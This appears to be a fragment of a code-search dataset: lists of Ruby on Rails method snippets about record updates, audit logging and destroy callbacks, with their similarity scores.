"def on_editing_entry(state, event, *event_args)\n super\n\n # TODO: simulation - remove\n if simulating\n action =\n case existing_record\n when false then :set_record\n when true then :reset_record\n else :create_record\n end\n if action == :create_record\n # From UploadController#edit:\n # @item = (get_record(@item_id) unless show_menu?(@item_id))\n __debug_sim('CODE') do\n args = \"id=#{submission.id.inspect}\"\n \"@item = get_record(#{args})\"\n end\n submission.set_item\n else\n action = :set_record\n end\n else\n action = :create_record\n end\n\n unless simulating\n wf_start_submission(*event_args)\n end\n\n # TODO: simulation - remove\n __debug_sim do\n case action\n when :set_record then 'Form error message displayed if present.'\n when :reset_record then 'Edit form reset after cancel.'\n else 'System presents a pre-populated edit form.'\n end\n end\n\n # TODO: simulation - remove\n commit = file_valid? ? 'submit' : 'upload'\n __debug_sim('USER modifies form to enable submit.')\n __debug_sim(\"USER must `cancel!` or `#{commit}!` to advance...\")\n\n self\n end",
"def log_attr_changes(obj)\n pre_update_attrs = obj.attributes.clone\n yield obj\n ADMIN_AUDIT_LOG.info([\n current_user.try(:login_name),\n \"#{obj.class.name}<#{obj.id}>\",\n \"new:#{Hash[obj.attributes.select{|k, v| pre_update_attrs[k] != v}].inspect}\",\n \"old:#{Hash[pre_update_attrs.select{|k, v| obj.attributes[k] != v}].inspect}\",\n ].compact.join(' '))\n end",
"def update\n\t\t\t\"update called - updating #{params[:id]}\"\n\t\tend",
"def log_action(action, user, record, model)\n begin\n # Create a new ActionLog Object\n event = ActionLog.new()\n \n # Add the user to this object\n event.user = user\n \n # Add the action to this object\n event.action = action\n \n # Save the model type and its record ID(s) to this object\n event.target = model.to_s + ':' + record.to_s\n \n # Save the time of the event\n event.time_of_action = (Time.now.getutc - 7*60*60).to_s.gsub('UTC','PST')\n \n # Save this event to database\n event.save!\n\n rescue => e\n \n end\n end",
"def remote_update(*)\n super(changed)\n end",
"def new\n redirect_to root_path unless current_user.is_admin?\n @user = User.create!(:email => \"test1234@gmail.com\", :password => \"test123\")\n @cuser = current_user\n @log = Log.new\n @log.update_attributes(user: @user.email, userid: @user.id, updated_by: @cuser)\n redirect_to edit_user_path(@user)\n end",
"def on_modifying_entry(state, event, *event_args)\n super\n\n # Verify validity of the submission. # TODO: simulation - remove\n if simulating\n # From UploadController#update:\n # @item, failed = upload_edit(**data)\n __debug_sim('CODE') do\n args = \"data=#{submission.data.inspect}\"\n opt = 'index: false'\n \"@item, failed = upload_edit(#{args}, #{opt})\"\n end\n bad = nil\n if (db_fail = submission.db_failure)\n self.failures << 'DB create failed'\n elsif (bad = !(submission.metadata_valid = !submission.invalid_entry))\n self.failures << 'bad metadata'\n else\n self.succeeded << submission.id\n end\n if db_fail\n __debug_sim('[edit_db_failure: true]')\n __debug_sim('The database entry could not be updated.')\n elsif bad\n __debug_sim('[edit_invalid_entry: true]')\n __debug_sim('The entry is invalid/incomplete.')\n __debug_sim('(NOTE: PROBABLE FAILURE OF CLIENT-SIDE FORM VALIDATION)')\n else\n __debug_sim('[edit_invalid_entry: false]')\n __debug_sim('[edit_db_failure: false]')\n end\n end\n\n # Verify validity of the submission.\n unless simulating\n wf_validate_submission(*event_args)\n end\n\n valid = ready?\n\n # TODO: simulation - remove\n if valid\n __debug_sim('The database entry was updated.')\n else\n __debug_sim('System generates a form error message to be displayed.')\n end\n\n # Automatically transition to the next state based on submission status.\n if valid\n advance! # NOTE: => :modified\n else\n reject! # NOTE: => :editing\n end\n self\n end",
"def update\n handle_orcamento_update\n end",
"def edit_record\n obj = find_checked_items\n @refresh_partial = \"timeprofile_edit\"\n @redirect_id = obj[0]\n end",
"def after_update\n end",
"def after_update\n end",
"def after_update; end",
"def after_update; end",
"def update\n begin\n @entry = @current_user.log_entries.find(params[:id])\n @entry.update_attributes! params[:log_entry]\n flash[:notice] = \"Log entry updated\"\n return redirect_to(:action => :index)\n rescue ActiveRecord::RecordNotFound\n @entry = nil\n flash[:error] = \"Unable to find log entry with id #{params[:id]}\"\n return redirect_to(:action => :index)\n rescue Exception => e\n flash[:error] = \"Unable to update log entry: #{e}\"\n end\n\n respond_to {|format| format.html}\n end",
"def stamp_new_rows\n db.query(\"UPDATE #{audit} SET `_copied_at` = NOW() WHERE `_copied_at` IS NULL\")\n end",
"def after_update(updated)\n # not required\n end",
"def history_added; end",
"def on_new_success(payload)\n @user = payload\n end",
"def editline_changed\n if valid_id?\n perform_query\n elsif illegal_id?\n alert('Invalid ID')\n else\n end\n end",
"def write_log( user = User.anonymous )\n options = { :user => user, :ip_address => user.ip_address }\n @changed_attributes.each do |a, v|\n options[:attribute] = a\n options[:old_value] = v.first\n options[:new_value] = v.last\n self.related_object.log_entries.create options unless options[:old_value].nil?\n end unless @changed_attributes.nil?\n end",
"def execute()\n # Retrieve a single entry from CTM:People based on Remedy Login ID\n entry = @@remedy_forms['CTM:People'].find_entries(\n :single,\n :conditions => [%|'4' = \"#{@parameters['remedy_login_id']}\"|],\n :fields => :all\n )\n\n # Raise error if unable to locate the entry\n raise(\"No matching entry on the CTM:People form for the given login id [#{@parameters['remedy_login_id']}]\") if entry.nil?\n\n # Store a hash that maps the field names modified to their previous values.\n # This will be helpful when writing the audit to the work log.\n previous_values = {}\n\n # Set the field value if the given field is different than the current one.\n @field_values.each do |field_name, value|\n if value != entry[field_name]\n previous_values[field_name] = entry[field_name]\n entry[field_name] = value\n end\n end\n\n # Create a notes string that will be stored within the audit record. It\n # contains the author of the modifications as well as details about each of\n # the modified values.\n notes = \"The CTM:People record was modified by #{@parameters['author']}\"\n entry.modified_attributes.each do |field_id, value|\n field_name = @@remedy_forms['CTM:People'].field_for(field_id).name\n notes << \"\\nfield '#{field_name}' was changed from '#{previous_values[field_name]}' to '#{value}'\"\n end\n\n # If any of the values were we checked are to be modified we save the\n # CTM:People record. Then we create an entry in CTM:People WorkLog to audit\n # this modification.\n if entry.modified_attributes.length > 0\n entry.save!\n\n @@remedy_forms['CTM:People WorkLog'].create_entry!(:field_values => {\n 'Person ID' => entry.id,\n 'Description' => 'Created by BmcItsm7PersonUpdateV1 handler.',\n 'Work Log Type' => 'General Information',\n 'Detailed Description' => notes,\n 'Work Log Submitter' => @parameters['author']\n },\n :fields => [])\n end\n\n # Return the results String\n return \"<results/>\"\n end",
"def listing_added (listing)\n send_as :user_action\n from listing.user.facebook_session.user\n data :show_link => link_to(listing.title, listing_url(listing.id))\n end",
"def set_log_entry\n @log_entry = LogEntry.includes(:user, :holding).where(:id => params[:id], :admin_id => @current_user.id).first\n end",
"def update\n notify(update_entry, :successful_entry_update, :failure_in_entry_update)\n redirect_to current_entry.collection_path\n end",
"def handle_insert action, result; end",
"def log_registration\n if request.post? # === POST: ===\n log_action(\n \"new User signed-up!\",\n \"Params: #{remove_passwords( params ).inspect}\\r\\n\\r\\nUpdated users total: #{User.count}\\r\\n\\r\\nCurrent user instance: #{current_user.inspect}\"\n )\n elsif request.delete? # === DELETE: ===\n log_action(\n \"existing User deleted!\",\n \"Params: #{remove_passwords( params ).inspect}\\r\\n\\r\\nUpdated users total: #{User.count}\\r\\n\\r\\nCurrent user instance: #{current_user.inspect}\"\n )\n end\n end",
"def save(*)\n call_hooks 'save' do\n # Existing object implies update in place\n action = 'add'\n set_auto_date_field 'created_at'\n if @new_record\n do_insert\n else\n do_update\n set_auto_date_field 'updated_at'\n action = 'update'\n end\n @new_record = false\n @dirty = false\n self.class.issue_notification(self, :action => action)\n end\n end",
"def did_update\n trigger_events(:update)\n end",
"def updated(item)\n end",
"def after_insert(row_obj)\r\n \r\n record = by_primary_id(row_obj.primary_id)\r\n \r\n test_event_id = record.fields[\"test_event_id\"].value\r\n record.fields[\"test_id\"].value = $tables.attach(\"TEST_EVENTS\").field_by_pid(\"test_id\",test_event_id).value\r\n record.save\r\n \r\n field = record.fields[\"test_event_site_id\"]\r\n if !(field.value.nil?)\r\n \r\n update_attendance_record(field)\r\n \r\n end\r\n \r\n end",
"def new_or_changed?(curr_user, hash: nil)\n if hash # {invitation_id => seen_at} hash # passed for batch processing, in order to bypass UserInvitation.find_by() query\n last_seen = hash[id]\n return :new if last_seen.nil?\n else\n ui = UserInvitation.find_by(user: curr_user, invitation: self)\n return :new if ui.nil?\n last_seen = ui.seen_at\n end\n # PostPolicy.new(current_user, @post).update?\n\n # if own_and_associated_audits.where(\"created_at>? AND user_id!=?\", last_seen, curr_user).any?{|a| policy(a.auditable_type.underscore.to_sym).show? }\n if own_and_associated_audits.where(\"created_at>? AND user_id!=?\", last_seen, curr_user).select{|a| a.comment }.any? # .any?{|a| \"#{a.auditable_type}Policy\".constantize.send(:new, curr_user, a.auditable_type.constantize.send(:find, a.auditable_id)).show? }\n :changed\n else\n :no_changes\n end\n end",
"def after_update_org\n\n controller = PublicActivity.get_controller\n\n # Return if seeding or nothing changes\n return if !controller || self.changed.blank?\n\n current_user = PublicActivity.get_controller.current_user\n\n activity = self.create_activity :update, owner: current_user,trackable: self, params: {:detail => I18n.t('logs.update_org', org_name: self.name)}\n activity.organization_id = current_user.organization_id\n activity.save\n end",
"def update\n respond_to do |format|\n if current_instance.update_attributes(params_hash)\n format.html {\n flash[:notice] = \"#{model_name.titleize} has been updated.\"\n render_after_update\n }\n format.xml { render :nothing => true }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => current_instance.errors.to_xml }\n format.js\n end\n end\n end",
"def record_updates\n unless filter\n dirstate = @repo.dirstate\n @actions.each do |action|\n action.record(dirstate, action)\n end\n useful_parent_1 = branch_merge ? @local_parent.node : @remote.node\n useful_parent_2 = branch_merge ? @remote.node : Updating::NULL_ID\n \n dirstate.parents = [useful_parent_1, useful_parent_2]\n if !branch_merge && !fast_forward?\n dirstate.branch = @target_changeset.branch\n end\n\n @repo.run_hook :update, :parent1 => useful_parent_1, :parent2 => useful_parent_2 #, :error => stats[3]\n dirstate.write\n end\n end",
"def after_created\n logger.debug(\" ##### after created called for #{@model.inspect}\")\n redirect_to :action => 'show', :id => @model\n end",
"def update\n set_target_time\n respond_to do |format|\n if @me.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to records_path }\n format.js\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def logall(user)\n self.changes.each do |key, value|\n if key != \"updated_at\" then\n name = self.class.name + \" #{key}\"\n \n logthis(user, name, self.id, value[0], value[1])\n end\n end\n end",
"def on_update_clause(action)\n on_delete_clause(action)\n end",
"def persistence_action\n new_record? ? :post : :put\n end",
"def log_recent_drink_today(current_user, userdrink)\n new_userdrink_with_recent_drink = UserDrink.create(\n datetime: Time.now,\n amount: userdrink.amount,\n drink_id: userdrink.drink_id,\n user_id: current_user.id\n ) \n homescreen(current_user.reload)\nend",
"def update #saves and redirects, saves changes\n end",
"def adjust_after_update\n # The record is in @record, do what you will, this precedes a save.\n end",
"def log_changes(action)\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n case action\n when :save\n if saved_change_to_attribute?(:created_at)\n logger.info \"Created redundant-type assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n when :destroy\n logger.info \"Removed redundant-type assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n end\n end",
"def on_update_alert(profile)\n\t\t@profile = profile\n\t\tsendgrid_category 'Profile Update Alert'\n\t\tsendgrid_unique_args :profile_id => @profile.id\n\t\tmail \n\tend",
"def save_log(description, action, owner_user_id)\n Log.save_log(description, action, owner_user_id, me.id)\n end",
"def after_create_save(record); end",
"def history_update\n return if !saved_changes?\n\n # return if it's no update\n return if new_record?\n\n # new record also triggers update, so ignore new records\n changes = saved_changes\n history_changes_last_done&.each do |key, value|\n if changes.key?(key) && changes[key] == value\n changes.delete(key)\n end\n end\n self.history_changes_last_done = changes\n #logger.info 'updated ' + self.changes.inspect\n\n return if changes['id'] && !changes['id'][0]\n\n ignored_attributes = self.class.instance_variable_get(:@history_attributes_ignored) || []\n ignored_attributes += %i[created_at updated_at]\n\n changes.each do |key, value|\n\n next if ignored_attributes.include?(key.to_sym)\n\n # get attribute name\n attribute_name = key.to_s\n if attribute_name[-3, 3] == '_id'\n attribute_name = attribute_name[ 0, attribute_name.length - 3 ]\n end\n\n value_id = []\n value_str = [ value[0], value[1] ]\n if key.to_s[-3, 3] == '_id'\n value_id[0] = value[0]\n value_id[1] = value[1]\n\n if respond_to?(attribute_name) && send(attribute_name)\n relation_class = send(attribute_name).class\n if relation_class && value_id[0]\n relation_model = relation_class.lookup(id: value_id[0])\n if relation_model\n if relation_model['name']\n value_str[0] = relation_model['name']\n elsif relation_model.respond_to?('fullname')\n value_str[0] = relation_model.send('fullname')\n end\n end\n end\n if relation_class && value_id[1]\n relation_model = relation_class.lookup(id: value_id[1])\n if relation_model\n if relation_model['name']\n value_str[1] = relation_model['name']\n elsif relation_model.respond_to?('fullname')\n value_str[1] = relation_model.send('fullname')\n end\n end\n end\n end\n end\n data = {\n history_attribute: attribute_name,\n value_from: value_str[0].to_s,\n value_to: value_str[1].to_s,\n id_from: value_id[0],\n id_to: value_id[1],\n }\n #logger.info \"HIST NEW #{self.class.to_s}.find(#{self.id}) #{data.inspect}\"\n history_log('updated', data)\n end\n end",
"def on_upsert\n #\n end",
"def will_record_after_update?\n on = @record.paper_trail_options[:on]\n on.nil? || on.include?(:update)\n end",
"def log_event(info = nil)\n if current_user\n action = \"#{controller_name}/#{action_name}\"\n log = ActivityLog.new(user: current_user, action: action, info: info)\n log.save\n end\n end",
"def update\n @log_entry = LogEntry.find(params[:id])\n\n if @log_entry.update(log_entry_params)\n redirect_to @log_entry\n else\n render 'edit'\n end\n end",
"def on_creating_entry(state, event, *event_args)\n super\n\n # TODO: simulation - remove\n if simulating\n action =\n case existing_record\n when false then :set_record\n when true then :reset_record\n else :create_record\n end\n if action == :create_record\n # From UploadController#new:\n # @item = new_record(user_id: @user.id, base_url: request.base_url)\n __debug_sim('CODE') do\n args = 'user_id: @user.id, base_url: request.base_url'\n \"@item = new_record(#{args})\"\n end\n submission.set_item\n else\n action = :set_record\n end\n else\n action = :create_record\n end\n\n unless simulating\n wf_start_submission(*event_args)\n end\n\n # TODO: simulation - remove\n __debug_sim do\n case action\n when :set_record then 'Form error message displayed if present.'\n when :reset_record then 'New-item form emptied after cancel.'\n else 'System presents a new-item submission form.'\n end\n end\n\n # TODO: simulation - remove\n commit = file_valid? ? 'submit' : 'upload'\n __debug_sim('USER fills form until submit is enabled.')\n __debug_sim(\"USER must `cancel!` or `#{commit}!` to advance...\")\n\n self\n end",
"def lcr_update_user\n @user.sms_lcr_id = params[:lcr_id] if session[:usertype] == 'admin'\n @user.sms_tariff_id = params[:tariff_id]\n if @user.save\n Action.add_action_hash(User.current, {:action=>'sms_lcr_changed_for_user', :data=>@user.id, :target_id=>@user.sms_lcr_id, :target_type=>'sms_lcr'} )\n if @user.usertype.to_s == 'reseller' and session[:usertype] == 'admin'\n users = User.find(:all, :conditions=>{:owner_id => @user.id})\n if users and users.size.to_i > 0\n for user in users\n user.sms_lcr_id = params[:lcr_id]\n if user.save\n Action.add_action_hash(User.current, {:action=>'sms_lcr_changed_for_user', :data=>user.id, :target_id=>user.sms_lcr_id, :target_type=>'sms_lcr'} )\n end\n end\n end\n end\n flash[:status] = _('User_updated')\n else\n flash[:notice] = _('User_not_updated')\n end\n redirect_to :action => 'lcr_edit_user', :id => @user.id\n end",
"def after_form_update(options)\n main_id = find_or_add_main(options)\n # If the person was new, add contact and note\n if options[:was_new]\n new_contact = Contact.create(:person_id => options[:record].id,\n :contact_category => ContactCategory.where(:email => true).first,\n :data => \"#{record.bulogin}@bu.edu\")\n end\n trigger :display_form, {:pid => options[:record].id, :id => main_id}\n super(options)\n end",
"def updated_data\n\tend",
"def update\r\n\t\tif @notification.update(notification_params)\r\n\t\t\tAction.create(info: current_user.username + ' has seen this notification: (' + @notification.info + ').', user_email: current_user.email)\r\n\t\tend\r\n\tend",
"def refresh!\n self.update_attributes(:last_logged => Time.now)\n end",
"def after_commit(model)\n # get the customer\n customer = model.customer\n\n # do a UI update push for this customer\n PUBNUB.publish({\n # NJS - use more secure channel name\n :channel => \"customer_ui_update_available_#{customer.id}\",\n # the actual message is ignored\n :message => \"UI update available\",\n :callback => lambda { |message| puts(message) }\n })\n end",
"def save_action; end",
"def update\n respond_to do |format|\n if @change_log_entry.update(change_log_entry_params)\n format.html { redirect_to change_log_entries_path, notice: 'Activity log entry was successfully updated.' }\n format.json { render :show, status: :ok, location: @change_log_entry }\n else\n format.html { render :edit }\n format.json { render json: @change_log_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def log_changes(action)\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n case action\n when :save\n if created_at_changed?\n logger.info \"Created assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n else\n # RoleAssignments should really only be created or destroyed, not updated.\n logger.error \"log_changes called for existing RoleAssignment. This shouldn't happen. Assignment is between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n when :destroy\n logger.info \"Removed assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n else\n logger.warn \"Unknown action in log_changes #{action}.\"\n end\n end\n end",
"def after_update_success\n new_intake = @form.intake\n session[:intake_id] = new_intake.id\n assign_triage_source(new_intake)\n end",
"def update\n\n\n respond_to do |format|\n if @user_has_role_for_node.update(user_has_role_for_node_params)\n if @user_has_role_for_node.lead\n @lead = \" Lead\"\n else\n @lead =\"\"\n end\n @log_statement = \"Changed \" + @user_has_role_for_node.user.display_name + \"'s Role to \" + @user_has_role_for_node.role.name + @lead\n @log = NodeHistory.new(:user_id => @current_user.id, :node_id => @user_has_role_for_node.node.id,\n :log => @log_statement)\n @log.save\n\n format.html { redirect_to @user_has_role_for_node, notice: 'User has role for node was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_has_role_for_node }\n else\n format.html { render :edit }\n format.json { render json: @user_has_role_for_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advertise.user == current_user\n\n if @advertise.update(advertise_params)\n Log.create(:logable => @advertise, :user => current_user,\n :msg => _(\"\\#%{id} advertise updated\") % {:id => @advertise.id})\n #:changes => @advertise.changes))\n\n format.html { redirect_to target_url || @advertise, notice: 'Advertise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @advertise.errors, status: :unprocessable_entity }\n end\n else\n return forbidden\n end\n end\n end",
"def update\n #\n end",
"def updater(user)\n self.updated_by_id = user.id\n self.save\n end",
"def set_change_log_entry\n @change_log_entry = current_rulemaking.change_log_entries.find(params[:id])\n end",
"def update\n Log.new({user: current_user.user, \n subject: \"user:\"+@assigned.grantee,\n operation: \"modified access\",\n object: \"table:\"+@assigned.relation,\n parameters: \"canGrant:\"+@assigned.can_grant.to_s\n }).save\n\n respond_to do |format|\n if @assigned.update(assigned_params)\n format.html { redirect_to @assigned, notice: 'Assigned was successfully updated.' }\n format.json { render :show, status: :ok, location: @assigned }\n else\n format.html { render :edit }\n format.json { render json: @assigned.errors, status: :unprocessable_entity }\n end\n end\n end",
"def record_update(what, old_value, new_value, user)\n self.design_updates << DesignUpdate.new(:what => what,\n :user_id => user.id,\n :old_value => old_value,\n :new_value => new_value)\n end",
"def on_update(watched_row, audit_row)\n rules(:update).inject([]) do |violations, rule|\n v = rule.execute(watched_row, audit_row, self)\n\n if v\n violations << {\n rule_name: rule.name,\n description: v,\n item: [watched_row, audit_row]\n }\n end\n\n violations\n end.compact\n end",
"def before_save(sender); end",
"def create_change_log_entry(object_id = nil, user_id = nil, action = nil, comments = nil)\n action = params[:action] if action.nil?\n comments = params[:change_log][:comments] unless !comments.nil? || (params[:change_log].nil? || params[:change_log][:comments].blank?)\n object_id = @object.id if object_id.nil?\n user_id = current_user.id if logged_in?\n if (comments.nil?)\n case action\n when 'create'\n comments = 'Initial creation of ' + params[:controller].singularize + '.'\n when 'update'\n comments = 'Updating information for ' + params[:controller].singularize + '.'\n else\n # Default to just listing the controller name and action\n comments = \"#{params[:controller]} #{params[:action]}\"\n end\n end\n @change_log = ChangeLog.new({:object_id => object_id, :user_id => user_id, :action => action, :comments => comments, :performed_at => Time.now.to_s(:db), :object_class => params[:controller].singularize})\n @change_log.save!\n end",
"def save_action\n if new_record?\n :create\n elsif self.id.present?\n :update\n else\n raise MotionModelResource::ActionNotImplemented.new \"Action ist not implemented for #{self.class.name}!\"\n end\n end",
"def log_access(user)\n if @access_log_field\n eval(\"user.#{@access_log_field} = Time.now\")\n user.save\n end\n end",
"def after_update_save(record)\n last_url_status = nil\n client_status = record.client_status.status.to_s\n if client_status == \"suspicious\"\n last_url_status = UrlStatus.find_by_status(\"suspicious\")\n elsif client_status == \"compromised\"\n last_url_status = UrlStatus.find_by_status(\"compromised\")\n elsif client_status == \"deleted\"\n last_url_status = UrlStatus.find_by_status(\"ignored\")\n elsif client_status == \"false_positive\"\n last_url_status = UrlStatus.find_by_status(\"visited\")\n elsif client_status == \"error\"\n last_url_status = UrlStatus.find_by_status(\"error\")\n end\n\n if !last_url_status.nil?\n # When we update the client status field, make sure last URL entry is also updated (if needed).\n last_url = Url.find(:first, :conditions => [\"urls.client_id = ?\", record.id], :order => \"urls.time_at DESC\")\n if !last_url.nil?\n last_url.url_status = last_url_status\n last_url.save!\n last_url.expire_caches\n end\n end\n return record\n end"
] |
[
"0.57498336",
"0.5507759",
"0.5473898",
"0.53674656",
"0.5357804",
"0.53378946",
"0.5302665",
"0.529993",
"0.52961165",
"0.52807766",
"0.52375233",
"0.52245206",
"0.5206389",
"0.5195508",
"0.5173507",
"0.51321965",
"0.5115911",
"0.5087791",
"0.5081523",
"0.50685465",
"0.5065043",
"0.50398636",
"0.50235236",
"0.50032455",
"0.49970067",
"0.49870113",
"0.49669978",
"0.49616686",
"0.49474886",
"0.4929093",
"0.4925431",
"0.49241504",
"0.49151576",
"0.4911246",
"0.49101123",
"0.49101123",
"0.49056184",
"0.49056184",
"0.48968983",
"0.4893076",
"0.48922393",
"0.48837665",
"0.48830834",
"0.4882246",
"0.4874755",
"0.48745683",
"0.4871528",
"0.48710728",
"0.4866624",
"0.48558405",
"0.4846105",
"0.48446256",
"0.4835108",
"0.48265973",
"0.48226807",
"0.48213",
"0.4810184",
"0.48094064",
"0.48080695",
"0.4803664",
"0.4803035",
"0.47993258",
"0.47959006",
"0.47952503",
"0.47892195",
"0.47880512",
"0.47696924",
"0.47691694",
"0.47690296",
"0.47681695",
"0.47675243",
"0.47658008",
"0.47650275",
"0.47617832",
"0.475794",
"0.47541568",
"0.4752794",
"0.47524795",
"0.4745613",
"0.47428146",
"0.47426587",
"0.4733355",
"0.47276893",
"0.47255865",
"0.47247857",
"0.4719618",
"0.47149932",
"0.4714483",
"0.47094566",
"0.47066346",
"0.47039327",
"0.46979567",
"0.46971157",
"0.46954066",
"0.46925852",
"0.4691855",
"0.46889994",
"0.4688455",
"0.46860304",
"0.468592"
] |
0.52727777
|
10
|
Callback for when a new row from the model is destroyed. Logs the action, the instance and the linked user, if available.
|
def before_destroy(record)
contents = to_sql_delete(record)
to_logfile(contents)
# Send a notification to the admin, if requested:
if @email_on_destroy
AgexMailer.action_notify_mail(
record.respond_to?(:user) ? record.user : nil,
"#{@table_name} row DELETED",
contents
).deliver
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroyed!\n log('Deleted', resource_attributes)\n end",
"def destroy\n log_record('users/delete', current_user.id)\n super\n end",
"def handle_destroy\n obj = model.with_pk(normalized_type, request, request.id)\n model.hook(:before_destroy, request, obj)\n model.destroy(obj)\n model.hook(:after_destroy, request, obj)\n request.set_flash_notice(\"Deleted #{model.class_name}\")\n redirect(:delete, obj)\n end",
"def destroy\n @model_class.transaction do\n id = @object.id\n @object.destroy\n create_change_log_entry(id)\n end\n respond_to do |format|\n format.html { redirect_to(:action => 'index') }\n format.xml { head :ok }\n end\n end",
"def destroy\n logout_killing_session! if @object == current_user\n User.transaction do\n @object.delete!\n create_change_log_entry\n end\n respond_to do |format|\n format.html { redirect_to(users_path) }\n format.xml { head :ok }\n end\n end",
"def record_destroy\n paper_trail.record_destroy\n end",
"def after_destroy\n #after the user has been deleted, check how many are left - if zero, raise an error\n #this will cause the transaction to roll back\n if User.count.zero?\n raise \"Can't delete the last user!\"\n end\n end",
"def handle_delete\n params.record.destroy do |result|\n alert 'unable to delete record' unless result\n end\n end",
"def destroy\n m = model.find(user_scoped.find(params[:id]).id)\n @record_saved = m # copy for possible later use\n m.destroy\n\n prepare_list\n @record = model.new\n @flash_notice = t('delete_ok')\n end",
"def destroy\r\n Action.create(info: current_user.username + ' has logged out.', user_email: current_user.email)\r\n log_out\r\n redirect_to root_url\r\n end",
"def destroy! #TODO\n destroy || raise(ActiveRecord::RecordNotDestroyed)\n end",
"def destroy\n run_callbacks :destroy do\n #the insurance billing record status need to be revertd back so it appears in the claims outstanding box\n #dont know if it was submitted or printed, so use error as a revert\n self.insurance_billing.revert_to_previous_status if !self.insurance_billing_id.blank?\n self.update_column(:deleted, true)\n end\n end",
"def destroy\n Log.create(user: current_user,\n article: @article,\n action: Action.find(3),\n data: @article.attributes)\n @article.nr = nil\n @article.save\n respond_to do |format|\n format.html { redirect_to request.referer }\n format.json { head :no_content }\n end\n end",
"def destroy\n return false unless handle_destroy\n\n self.attributes = {\n first_name: 'deleted',\n last_name: 'user',\n email: Digest::MD5.hexdigest(email),\n deleted: true,\n }\n\n skip_reconfirmation!\n skip_email_changed_notification!\n save!(validate: false)\n end",
"def destroy\n begin\n @garbage = Garbage.find(params[:id])\n @garbage.destroy\n\nLog.create(:user_id => session_get_user, :action => controller_name, :error => action_name + \" \" + params[:id])\n\n flash[:notice] = t(:success_deleted, :id => @garbage.id)\n redirect_to(garbages_url)\n rescue => e\n flash[:error] = t(:error_default, :message => e.message)\n render :action => :show\n end\n end",
"def destroy\n run_callbacks :destroy do \n self.update_column(:deleted, true)\n end\n end",
"def destroy!\n destroy || raise(ActiveRecord::RecordNotDestroyed)\n end",
"def destroy\n log_failure do\n handler.destroy\n end\n end",
"def destroy\n run_callbacks :destroy do\n self.update_column(:deleted, true)\n end\n end",
"def destroy\n run_callbacks :destroy do\n self.update_column(:deleted, true)\n end\n end",
"def destroy\n Log.new({user: current_user.user, \n subject: \"user:\"+@assigned.grantee,\n operation: \"revoked access\",\n object: \"table:\"+@assigned.relation\n }).save\n @assigned.destroy\n respond_to do |format|\n format.html { redirect_to assigneds_url, notice: 'Assigned was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def after_destroyed\n end",
"def destroy\n if @record.destroy\n flash[:success] = \"Record deleted successfully.\"\n redirect_to polymorphic_path([app_kit, model])\n end\n end",
"def after_destroy_callback\n puts('----------after_destroyをコール----------')\n end",
"def delete_log\n unless UserSession.find == nil\n Log.create(user_id: UserSession.find.user.id, message: \n \"#{UserSession.find.user.name} har slettet rollen: #{self.name}\",\n logtype_id: 3)\n end\n end",
"def after_created\n logger.debug(\" ##### after created called for #{@model.inspect}\")\n redirect_to :action => 'show', :id => @model\n end",
"def destroy\n result = nil\n obj = self.inst_strip_braces(self.object)\n if obj\n # first delete the record from viewable list\n result = Rhom::RhomDbAdapter::delete_from_table(Rhom::TABLE_NAME,\n {\"object\"=>obj})\n # now add delete operation\n result = Rhom::RhomDbAdapter::insert_into_table(Rhom::TABLE_NAME,\n {\"source_id\"=>self.get_inst_source_id,\n \"object\"=>obj,\n \"update_type\"=>'delete'})\n end\n result\n end",
"def destroy\n run_callbacks :destroy do\n self.deleted_at = DateTime.now\n end\n end",
"def destroy\n run_callbacks :destroy do\n self.deleted_at = DateTime.now\n end\n end",
"def destroy\n ## Fetching the <%= instance_name %>\n @<%= instance_name %> = <%= model_class %>.find(params[:id])\n \n respond_to do |format|\n ## Destroying the <%= instance_name %>\n @<%= instance_name %>.destroy\n \n # Fetch the <%= instances_name %> to refresh ths list and details box\n get_collections\n @<%= instance_name %> = @<%= instances_name %>.first\n \n # Setting the flash message\n message = translate(\"forms.destroyed_successfully\", :item => \"<%= instance_name.titleize %>\")\n store_flash_message(message, :success)\n \n format.html { \n redirect_to <%= resource_link('index', 'url') %> notice: message\n }\n format.json { head :no_content }\n format.js {}\n \n end\n end",
"def audit_destroy(object)\n Audit.create(\n created_at: Time.current,\n user_email: current_user.email,\n table_name: object.class.table_name,\n record_id: object.respond_to?(:id) && object.id || nil,\n action: 'destroy',\n before: object.attributes,\n after: {}\n )\n end",
"def destroy\n run_callbacks :destroy do \n self.update_column(:deleted, true)\n end\n end",
"def destroy\n run_callbacks :destroy do \n self.update_column(:deleted, true)\n end\n end",
"def destroy\n run_callbacks :destroy do \n self.update_column(:deleted, true)\n end\n end",
"def _delete_record\n @record.destroy\n @record = scoped_model.new\n js_emit = <<-JS\n closeEditPanel('##{@jqgrid_id}');\n JS\n js_emit += js_select_id(nil)\n js_emit += js_flash_feedback(\"Record deleted.\")\n trigger(:recordUpdated)\n trigger(:recordUnselected)\n render :js => js_emit + update_recordset_js(false)\n end",
"def destroy\n @instance_action = InstanceAction.find(params[:id])\n @instance_action.destroy\n\n respond_to do |format|\n format.html { redirect_to instance_actions_url }\n format.json { head :no_content }\n end\n end",
"def action_delete\n @original_cron_provider.action_delete\n @new_resource.updated_by_last_action(@original_cron_provider.new_resource.updated_by_last_action?)\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n record_activity(\"deleted user: \" + @user.email)\n redirect_to users_path, :notice => \"User deleted\"\n end",
